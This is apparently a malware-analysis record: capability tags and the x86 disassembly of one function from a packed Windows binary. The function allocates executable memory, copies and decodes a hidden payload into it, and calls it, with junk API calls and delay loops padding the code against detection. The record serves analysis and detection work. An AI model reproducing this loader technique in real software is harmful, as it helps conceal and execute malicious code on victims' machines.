Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb14
xor eax, eax
je 0x40109a
push 0
push 0
push 0
push str.kuwizumedelocifucavo_xilituvabujupexoyixuha_pikosihemukuxabikugikija
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0
push 0
call fcn.004015dc
add esp, 0xc
push 0
push 0
call fcn.00402e9d
pop ecx
pop ecx
push 0
push str.besogu
call fcn.004030a8
pop ecx
pop ecx
push 0
call fcn.00402c45
pop ecx
push 0
call fcn.00402cda
pop ecx
push 0
push 0
call fcn.00402edd
pop ecx
pop ecx
push 0
call dword [sym.imp.ole32.dll_CoGetContextToken]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
and dword [ebp - 0x1c], 0
jmp 0x4010a7
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfdc3
jge 0x4010e0
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1c], 0x4ad
jle 0x4010de
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x2c], 0x45a5ba62
jne 0x4010dc
cmp dword [ebp - 0x28], 1
je 0x4010de
jmp 0x4010e0
jmp 0x4010a0
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x41b40c]
mov dword [0x41e9b4], eax
and dword [ebp - 8], 0
jmp 0x4010fe
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xc3e
jge 0x401121
cmp dword [ebp - 8], 0x209
jne 0x40111f
mov eax, dword [0x41e9b4]
add eax, 0x1890
mov dword [0x41e9b4], eax
jmp 0x4010f7
push 0x40
push 0x1000
push dword [0x41e9b4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4723dc], eax
and dword [ebp - 0xc], 0
jmp 0x401148
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x590053
jge 0x401175
cmp dword [ebp - 0xc], 0x1e3
jge 0x401173
push 0
push 0
call dword [sym.imp.ole32.dll_CoCancelCall]
lea eax, [ebp - 0x714]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x401141
and dword [ebp - 0x10], 0
jmp 0x401182
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x8d70ff
jge 0x4011d4
cmp dword [ebp - 0x10], 0x7c16df
jne 0x4011a5
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x41b400]
mov dword [0x4723e0], eax
cmp dword [ebp - 0x10], 0x865
jge 0x4011d2
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x40117b
and dword [ebp - 4], 0
jmp 0x4011e1
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [0x41e9b4]
jae 0x40123e
cmp dword [ebp - 4], 0x18bd
jge 0x40120c
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
lea eax, [ebp - 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x4723dc]
add eax, dword [ebp - 4]
mov ecx, dword [0x4723e0]
add ecx, dword [ebp - 4]
mov cl, byte [ecx + 0x1890]
mov byte [eax], cl
cmp dword [ebp - 4], 0x652
jge 0x40123c
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x4011da
mov dword [ebp - 0x20], 0xbb
sub dword [ebp - 0x20], 0x7b
and dword [ebp - 0x14], 0
jmp 0x401256
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x88d29b
jge 0x401278
cmp dword [ebp - 0x14], 0x500233
jne 0x401276
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x30], eax
jmp 0x40124f
push section..data
mov edx, dword [0x41e9b4]
mov ecx, dword [0x4723dc]
call fcn.0040154b
and dword [ebp - 0x18], 0
jmp 0x40129b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x5a545b
jge 0x4012db
cmp dword [ebp - 0x18], 0x3f03c2
jne 0x4012be
nop
add dword [0x41e9b4], 0x35c667fc
call dword [0x4723dc]
cmp dword [ebp - 0x18], 0x19bc
jge 0x4012d9
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
jmp 0x401294
push 0
lea eax, [ebp - 0xb14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x4724f8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10